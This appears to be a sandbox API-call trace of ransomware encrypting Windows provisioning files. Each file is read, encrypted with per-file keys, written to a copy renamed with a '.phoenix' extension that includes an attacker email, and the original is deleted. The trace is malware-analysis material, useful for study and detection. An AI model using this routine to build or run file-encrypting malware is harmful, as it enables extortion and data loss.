	[0255.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0255.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.967] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.967] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.967] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.968] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.968] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0255.968] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.968] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2ce, lpOverlapped=0x0) returned 1
	[0255.970] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.970] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.973] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151180) returned 1
	[0255.973] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.974] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0255.974] CryptDestroyKey (hKey=0x151180) returned 1
	[0255.974] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0255.974] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.974] CloseHandle (hObject=0x2d0) returned 1
	[0255.974] CloseHandle (hObject=0x2c0) returned 1
	[0255.974] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\609__connections_cellular_tata docomo (india)_i1$(__mvid)@wap.provxml")) returned 1
	[0255.975] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.975] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.975] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=709) returned 1
	[0255.975] CloseHandle (hObject=0x2c0) returned 1
	[0255.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.976] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.976] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.976] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.976] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.976] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0255.977] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.977] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c5, lpOverlapped=0x0) returned 1
	[0255.978] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0255.978] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0255.979] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151780) returned 1
	[0255.979] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.979] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0255.979] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.979] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0255.979] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.979] CloseHandle (hObject=0x2c0) returned 1
	[0255.979] CloseHandle (hObject=0x2d0) returned 1
	[0255.979] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\60__connections_cellular_mtel (bulgaria)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.980] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.980] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.980] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=469) returned 1
	[0255.981] CloseHandle (hObject=0x2d0) returned 1
	[0255.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0255.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.981] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.981] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.981] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.981] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.981] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151780) returned 1
	[0255.982] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.982] ReadFile (in: hFile=0x2d0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1d5, lpOverlapped=0x0) returned 1
	[0255.982] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1e0) returned 1
	[0255.983] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1e0, lpOverlapped=0x0) returned 1
	[0255.983] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0255.983] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.983] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0255.983] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0255.983] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0255.984] CryptDestroyKey (hKey=0x151780) returned 1
	[0255.984] CloseHandle (hObject=0x2d0) returned 1
	[0255.984] CloseHandle (hObject=0x2c0) returned 1
	[0255.984] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\610__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 1
	[0255.985] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.985] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.985] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=849) returned 1
	[0255.985] CloseHandle (hObject=0x2c0) returned 1
	[0255.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0255.985] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.985] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0255.985] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.985] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.986] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.986] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151040) returned 1
	[0255.986] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.986] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x351, lpOverlapped=0x0) returned 1
	[0255.987] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360, dwBufLen=0x360 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x360) returned 1
	[0255.987] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x360, lpOverlapped=0x0) returned 1
	[0255.988] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151480) returned 1
	[0255.988] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0255.988] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0, dwBufLen=0xc0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xc0) returned 1
	[0255.988] CryptDestroyKey (hKey=0x151480) returned 1
	[0255.988] WriteFile (in: hFile=0x2d0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x172, lpOverlapped=0x0) returned 1
	[0255.988] CryptDestroyKey (hKey=0x151040) returned 1
	[0255.988] CloseHandle (hObject=0x2c0) returned 1
	[0255.988] CloseHandle (hObject=0x2d0) returned 1
	[0255.989] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\611__connections_cellular_truphone (netherlands)_i0$(__mvid)@wap.provxml")) returned 1
	[0255.989] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0255.989] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.990] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=459) returned 1
	[0255.990] CloseHandle (hObject=0x2d0) returned 1
	[0255.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20
	[0255.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.990] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\612__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0255.990] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0255.990] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
